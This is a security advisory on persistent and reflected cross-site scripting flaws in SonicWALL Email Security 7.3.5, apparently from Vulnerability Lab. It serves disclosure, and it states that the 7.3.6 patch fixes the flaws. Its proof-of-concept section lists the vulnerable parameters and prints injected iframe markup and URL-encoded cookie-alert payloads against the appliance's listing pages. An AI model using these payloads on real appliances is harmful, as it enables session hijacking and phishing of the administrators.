标题：SonicWALL EMail Security 7.3.5 - Multiple Vulnerabilities
影响系统 3.5
产品介绍:
=============
While most businesses now have some type of anti-spam protection, many must deal with cumbersome
management, frustrated users, inflexible solutions, and a higher-than-expected total cost of ownership.
SonicWALL® Email Security can help. Elegantly simple to deploy, manage and use, award-winning SonicWALL
Email Security solutions employ a variety of proven and patented technology designed to block spam and
other threats effectively, easily and economically. With innovative protection techniques for both
inbound and outbound email plus unique management tools, the Email Security platform delivers superior
email protection today—while standing ready to stop the new attacks of tomorrow.
摘自:
摘要:
=========
SonicWalls UTM Email Security v7.3.5.6379 & Virtual Appliance中，安全研究团队发现多个缺陷
影响产品:
==================
SonicWall
Product: AntiSpam & EMail Security Appliance Application v7.3.5.6379
摘要:
========
1.1
Multiple persistent input validation vulnerabilities are detected in SonicWalls UTM Email Security v7.3.5.6379 & Virtual Appliance.
The vulnerability allows an remote attacker or local low privileged user account to inject/implement malicious persistent script
code on application side of the email security appliance application. The vulnerabilities are located on the Compliance & Virus
protection procedures module when processing to load unsanitized inputs as output listing of a configuration. Vulnerable values are
floodMsgThreshold, zombieNoOfQuarantine, zombieNoOfMessageFromOneUser, safeModeNoOfQuarantine, safeModeNoOfMessageFromOneUser,
zombieAllowEmailAddrs & floodMsgThresholdShadow. Successful exploitation of the vulnerability result in session hijacking,
persistent phishing requests & stable persistent module context manipulation.
Vulnerable Module(s):
[+] Virenschutzverfahren
[-] Ausgehend (Outgoing) - Listing & Exceptions
[+] Compliance Module
[-] Approval Ordner > Add new Approval Folder
1.2
Multiple client side cross site scripting vulnerabilities are detected in SonicWalls UTM Email Security v7.3.5.6379 & Virtual Appliance.
The vulnerability allows an remote attacker to manipulate client side appliance requests with medium required user inter action.
Successful exploitation results in sessio hijacking, account steal, client side phishing requests or manipulated context
exection on client side requests. The vulnerabilities are located on the `from`- & `row` page listing values. Successful exploitation
of the vulnerability result in client side session hijacking, non-persistent phishing requests & non-persistent module context manipulation.
Vulnerable Module(s):
[+] Listing Page (?from & ?row)
测试证明:
=================
1.1
The persistent input validation vulnerabilities can be exploited by remote attackers with low privileged user accounts.
For demonstration or reproduce ...
PoC: Ausgehend (Outgoing) - Listing & Exceptions
<input disabled="disabled" id="floodMsgThreshold" name="floodMsgThreshold" value=""
type="hidden"><iframe src=" virus_config-Dateien/a.htm" [EXECUTE/INJECT PERSISTENT CODE!]' <"="">
<input type="hidden" id="floodInterval" name="floodInterval"
value="1"/>
... or
<input type="text"
name="zombieNoOfQuarantine" size="3"
value=""><iframe src=a
[EXECUTE/INJECT PERSISTENT CODE!]") <"
id="zombieNoOfQuarantine">
... or
amp;lt;input type="text"
name="zombieNoOfMessageFromOneUser" size="3"
value=""><iframe src=a
[EXECUTE/INJECT PERSISTENT CODE!]") <"
id="zombieNoOfMessageFromOneUser">
... or
<input type="text"
name="safeModeNoOfQuarantine" size="3"
value=""><iframe src=a
[EXECUTE/INJECT PERSISTENT CODE!]") <"
id="safeModeNoOfQuarantine">
... or
<input type="text"
name="safeModeNoOfMessageFromOneUser" size="3"
value=""><iframe src=a
[EXECUTE/INJECT PERSISTENT CODE!]") <"
id="safeModeNoOfMessageFromOneUser">
URL: :8080/virus_config.html
PoC: Compliance Module -> Approval Ordner - Listing & Exceptions
<tbody><tr><td background="policy_approval_box_summary-Dateien/nav_bar_background.gif" width="24">
<img src="policy_approval_box_summary-Dateien/clear.gif" height="15" width="4"></td><td border="0"
background="policy_approval_box_summary-Dateien/nav_bar_background.gif"><span class="column">Approval-
Ordner</span></td><td border="0" background="policy_approval_box_summary-Dateien/nav_bar_background.gif">
<span class="column">Nachrichten, die eine Genehmigung erfordern</span></td><td background="policy_approval_box_
summary-Dateien/nav_bar_background.gif"> </td></tr><tr>
<td height="12"> </td>
<td><a href="
?pathname=[INJECTED PERSISTENT CODE!]"><iframe src="policy_approval_box_
summary-Dateien/a.htm" [EXECUTION OF PERSISTENT CODE!]" <<="" a=""></td>
<td>0</td>
<td><div
align="right"><input type="button" name="delete" class="button"
value="Löschen"
URL: /policy_approval_box_summary.html
1.2
The client side cross site scripting vulnerability can be exploited by remote attackers with medium required user inter action.
For demonstration or reproduce ...
PoC:
:8080/alert_history.html?from=200<%253ciframe%2520src%3Da%2520onload%3Dalert%28documents.cookie%29%2520%253c
:8080/alert_history.html[POST REQUEST]row=200<%253ciframe%2520src%3Da%2520onload%3Dalert%28documents.cookie%29%2520%253c
:8080/policy_approval_box.html?pathname=%253ciframe%2520src%3Da%2520onload%3Dalert%28documents.cookie%29%2520%253c
解决方案:
=========
The Email Security 7.3.6 patch that addresses this set of issues has now been posted and is available to all of our Email Security customers
from the download section of our customer portal (https://www.mysonicwall.com/Firmware/DownloadCenter.aspx).
--
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research@vulnerability-lab.com
